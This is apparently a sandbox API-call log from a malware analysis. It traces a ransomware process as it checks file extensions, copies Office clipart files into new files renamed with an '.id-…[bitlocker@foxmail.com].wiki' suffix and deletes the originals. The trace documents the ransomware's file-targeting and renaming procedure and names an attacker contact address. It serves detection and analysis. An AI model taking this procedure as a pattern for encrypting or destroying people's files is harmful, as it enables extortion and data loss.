[0188.506] lstrlenW (lpString=".dbf") returned 4 [0188.506] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0188.506] lstrlenW (lpString=".1cd") returned 4 [0188.506] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0188.506] lstrlenW (lpString=".jpg") returned 4 [0188.506] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.506] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.506] lstrlenW (lpString="FD00090_.WMF") returned 12 [0188.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0188.506] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=14194) returned 1 [0188.506] CloseHandle (hObject=0x1f8) returned 1 [0188.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf")) returned 0x20 [0188.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0188.507] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.507] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0188.507] GetLastError () returned 0x0 [0188.507] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x3772, lpOverlapped=0x0) returned 1 [0188.509] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x3780, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x3780, lpOverlapped=0x0) returned 1 [0188.510] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0188.510] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.510] SetEndOfFile (hFile=0x1f4) returned 1 [0188.511] CloseHandle (hObject=0x1f4) returned 1 [0188.511] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.511] SetEndOfFile (hFile=0x1f8) returned 1 [0188.511] CloseHandle (hObject=0x1f8) returned 1 [0188.511] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.512] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf")) returned 1 [0188.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0188.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0188.512] lstrlenW (lpString=".doc") returned 4 [0188.512] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.512] lstrlenW (lpString=".docx") returned 5 [0188.512] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.512] lstrlenW (lpString=".pdf") returned 4 [0188.512] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.512] lstrlenW (lpString=".xls") returned 4 [0188.512] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.512] lstrlenW (lpString=".xlsx") returned 5 [0188.512] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.512] lstrlenW (lpString=".ppt") returned 4 [0188.512] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0188.512] lstrlenW (lpString=".zip") returned 4 [0188.512] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.512] lstrlenW (lpString=".rar") returned 4 [0188.512] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.512] lstrlenW (lpString=".bz2") returned 4 [0188.512] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.512] lstrlenW (lpString=".7z") returned 3 [0188.512] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0188.512] lstrlenW (lpString=".dbf") returned 4 [0188.513] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0188.513] lstrlenW (lpString=".1cd") returned 4 [0188.513] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0188.513] lstrlenW (lpString=".jpg") returned 4 [0188.513] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0188.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0188.513] lstrlenW (lpString=".doc") returned 4 [0188.513] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.513] lstrlenW (lpString=".docx") returned 5 [0188.513] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.513] lstrlenW (lpString=".pdf") returned 4 [0188.513] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.513] lstrlenW (lpString=".xls") returned 4 [0188.513] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.513] lstrlenW (lpString=".xlsx") returned 5 [0188.513] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.513] lstrlenW (lpString=".ppt") returned 4 [0188.513] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0188.513] lstrlenW (lpString=".zip") returned 4 [0188.513] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.513] lstrlenW (lpString=".rar") returned 4 [0188.513] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.513] lstrlenW (lpString=".bz2") returned 4 [0188.513] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.513] lstrlenW (lpString=".7z") returned 3 [0188.513] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0188.514] lstrlenW (lpString=".dbf") returned 4 [0188.514] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0188.514] lstrlenW (lpString=".1cd") returned 4 [0188.514] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0188.514] lstrlenW (lpString=".jpg") returned 4 [0188.514] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.514] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.514] lstrlenW (lpString="FD00096_.WMF") returned 12 [0188.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0188.514] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=37390) returned 1 [0188.514] CloseHandle (hObject=0x1f8) returned 1 [0188.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf")) returned 0x20 [0188.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0188.515] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.515] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0188.515] GetLastError () returned 0x0 [0188.515] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x920e, lpOverlapped=0x0) returned 1 [0188.796] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x9210, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x9210, lpOverlapped=0x0) returned 1 [0188.797] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0188.797] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.798] SetEndOfFile (hFile=0x1f4) returned 1 [0188.798] CloseHandle (hObject=0x1f4) returned 1 [0188.798] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.798] SetEndOfFile (hFile=0x1f8) returned 1 [0188.799] CloseHandle (hObject=0x1f8) returned 1 [0188.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.799] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf")) returned 1 [0188.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0188.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0188.881] lstrlenW (lpString=".doc") returned 4 [0188.881] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.881] lstrlenW (lpString=".docx") returned 5 [0188.881] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.881] lstrlenW (lpString=".pdf") returned 4 [0188.881] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.881] lstrlenW (lpString=".xls") returned 4 [0188.881] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.881] lstrlenW (lpString=".xlsx") returned 5 [0188.881] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.881] lstrlenW (lpString=".ppt") returned 4 [0188.881] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0188.881] lstrlenW (lpString=".zip") returned 4 [0188.881] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.881] lstrlenW (lpString=".rar") returned 4 [0188.892] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.892] lstrlenW (lpString=".bz2") returned 4 [0188.892] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.892] lstrlenW (lpString=".7z") returned 3 [0188.892] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0188.892] lstrlenW (lpString=".dbf") returned 4 [0188.892] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0188.892] lstrlenW (lpString=".1cd") returned 4 [0188.892] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0188.892] lstrlenW (lpString=".jpg") returned 4 [0188.892] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0188.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0188.892] lstrlenW (lpString=".doc") returned 4 [0188.892] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.892] lstrlenW (lpString=".docx") returned 5 [0188.892] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.892] lstrlenW (lpString=".pdf") returned 4 [0188.892] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.893] lstrlenW (lpString=".xls") returned 4 [0188.893] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.893] lstrlenW (lpString=".xlsx") returned 5 [0188.893] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.893] lstrlenW (lpString=".ppt") returned 4 [0188.893] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0188.893] lstrlenW (lpString=".zip") returned 4 [0188.893] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.893] lstrlenW (lpString=".rar") returned 4 [0188.893] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.893] lstrlenW (lpString=".bz2") returned 4 [0188.893] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.893] lstrlenW (lpString=".7z") returned 3 [0188.893] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0188.893] lstrlenW (lpString=".dbf") returned 4 [0188.893] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0188.893] lstrlenW (lpString=".1cd") returned 4 [0188.893] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0188.893] lstrlenW (lpString=".jpg") returned 4 [0188.893] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.893] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.893] lstrlenW (lpString="FD00564_.WMF") returned 12 [0188.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0188.894] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=896) returned 1 [0188.894] CloseHandle (hObject=0x1e0) returned 1 [0188.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf")) returned 0x20 [0188.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0188.894] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.894] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0188.895] GetLastError () returned 0x0 [0188.895] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x380, lpOverlapped=0x0) returned 1 [0188.948] WriteFile (in: hFile=0x220, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x390, lpOverlapped=0x0) returned 1 [0188.948] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0188.949] WriteFile (in: hFile=0x220, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.949] SetEndOfFile (hFile=0x220) returned 1 [0188.949] CloseHandle (hObject=0x220) returned 1 [0188.949] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.949] SetEndOfFile (hFile=0x1e0) returned 1 [0188.950] CloseHandle (hObject=0x1e0) returned 1 [0188.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.950] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf")) returned 1 [0188.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0188.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0188.950] lstrlenW (lpString=".doc") returned 4 [0188.950] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.950] lstrlenW (lpString=".docx") returned 5 [0188.950] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.950] lstrlenW (lpString=".pdf") returned 4 [0188.950] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.950] lstrlenW (lpString=".xls") returned 4 [0188.950] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.950] lstrlenW (lpString=".xlsx") returned 5 [0188.950] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.950] lstrlenW (lpString=".ppt") returned 4 [0188.950] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0188.950] lstrlenW (lpString=".zip") returned 4 [0188.951] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.951] lstrlenW (lpString=".rar") returned 4 [0188.951] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.951] lstrlenW (lpString=".bz2") returned 4 [0188.951] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.951] lstrlenW (lpString=".7z") returned 3 [0188.951] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0188.951] lstrlenW (lpString=".dbf") returned 4 [0188.951] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0188.951] lstrlenW (lpString=".1cd") returned 4 [0188.951] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0188.951] lstrlenW (lpString=".jpg") returned 4 [0188.951] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0188.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0188.951] lstrlenW (lpString=".doc") returned 4 [0188.951] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.951] lstrlenW (lpString=".docx") returned 5 [0188.951] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.951] lstrlenW (lpString=".pdf") returned 4 [0188.951] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.951] lstrlenW (lpString=".xls") returned 4 [0188.951] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.951] lstrlenW (lpString=".xlsx") returned 5 [0188.951] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.951] lstrlenW (lpString=".ppt") returned 4 [0188.951] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0188.951] lstrlenW (lpString=".zip") returned 4 [0188.952] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.952] lstrlenW (lpString=".rar") returned 4 [0188.952] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.952] lstrlenW (lpString=".bz2") returned 4 [0188.952] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.952] lstrlenW (lpString=".7z") returned 3 [0188.952] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0188.952] lstrlenW (lpString=".dbf") returned 4 [0188.952] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0188.952] lstrlenW (lpString=".1cd") returned 4 [0188.952] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0188.952] lstrlenW (lpString=".jpg") returned 4 [0188.952] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.952] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.952] 